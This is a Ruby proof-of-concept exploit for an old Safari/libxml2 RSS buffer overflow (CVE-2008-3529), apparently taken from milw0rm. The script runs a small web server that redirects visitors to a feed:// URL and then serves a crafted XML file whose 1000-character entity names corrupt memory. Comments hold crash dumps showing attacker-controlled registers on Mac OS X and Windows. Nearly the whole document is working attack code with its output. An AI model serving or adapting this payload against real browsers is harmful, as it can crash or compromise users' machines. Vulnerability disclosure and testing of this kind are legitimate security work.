Apple Safari - RSS 'feed://' Buffer Overflow via libxml2 (PoC)

#!/usr/bin/ruby
#
# Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529
# Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard 
# http://www.digitalmunition.com , http://www.netragard.com
# 
# The application PubSubAgent quit unexpectedly.
#
# Process:         PubSubAgent [3764]
# Path:            /System/Library/Frameworks/PubSub.framework/Versions/A/Resources/PubSubAgent.app/Contents/MacOS/PubSubAgent
# Identifier:      PubSubAgent
# Version:         ??? (???)
# Code Type:       X86 (Native)
# Parent Process:  launchd [282]
#
# Date/Time:       2008-10-31 15:31:41.355 -0400
# OS Version:      Mac OS X 10.5.5 (9F33)
# Report Version:  6
#
# Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
# Exception Codes: KERN_INVALID_ADDRESS at 0x0000000005050500
#
# Thread 0 crashed with X86 Thread State (32-bit):
#  eax: 0x41414141  ebx: 0x94580535  ecx: 0x00136150  edx: 0x05050500
#  edi: 0x00007000  esi: 0x00100000  ebp: 0xbfffe298  esp: 0xbfffe220
#   ss: 0x0000001f  efl: 0x00010206  eip: 0x94580605   cs: 0x00000017
#   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
#  cr2: 0x05050500
#
# On Windows libxml2.dll provides all the fun since there is no PubSubAgent
# 
# EAX 0131FB10 ASCII "AAAAAAAAAAA..."
# ECX 003D0270
# EDX 00000000
# EBX 41414141
# ESP 030FE6FC
# EBP 030FE918
# ESI 0131FB08 ASCII "AAAAAAAAAAA..."
# EDI 41414141
# EIP 7C919084 ntdll.7C919084
# 
# 7C919084   8B0B             MOV ECX,DWORD PTR DS:[EBX]
# 7C919086   3B4F 04          CMP ECX,DWORD PTR DS:[EDI+4]


require 'webrick'
include WEBrick

# Thats right... no one is taking on water, this is public info (and has been for a while)!
# https://bugzilla.redhat.com/attachment.cgi?id=315480

XML_LOVE =
'<?xml version="1.0"?>' + "\n" +
'<!DOCTYPE longentity [' + "\n" +
'<!ELEMENT longentity (#PCDATA)>' + "\n" +
'<!ENTITY ' +
"A" * 1000 + " " +
'"ha"> ]>' + "\n" +
'<longentity location="&' +
"A" * 1000 +
';">text</longentity>' + "\n"

REDIR_LOVE =
'<meta http-equiv="REFRESH" content="0;url=feed://' + ARGV[0] + '/pwn">'

s = HTTPServer.new( :Port => 80 )

class REDIRECT < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = REDIR_LOVE
   res['Content-Type'] = "text/html"
 end
end

class XMLLOVER < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = XML_LOVE
   res['Content-Type'] = "text/xml"
 end
end

s.mount("/", REDIRECT)
s.mount("/pwn", XMLLOVER)

trap("INT"){ s.shutdown }
s.start

# milw0rm.com [2009-05-26]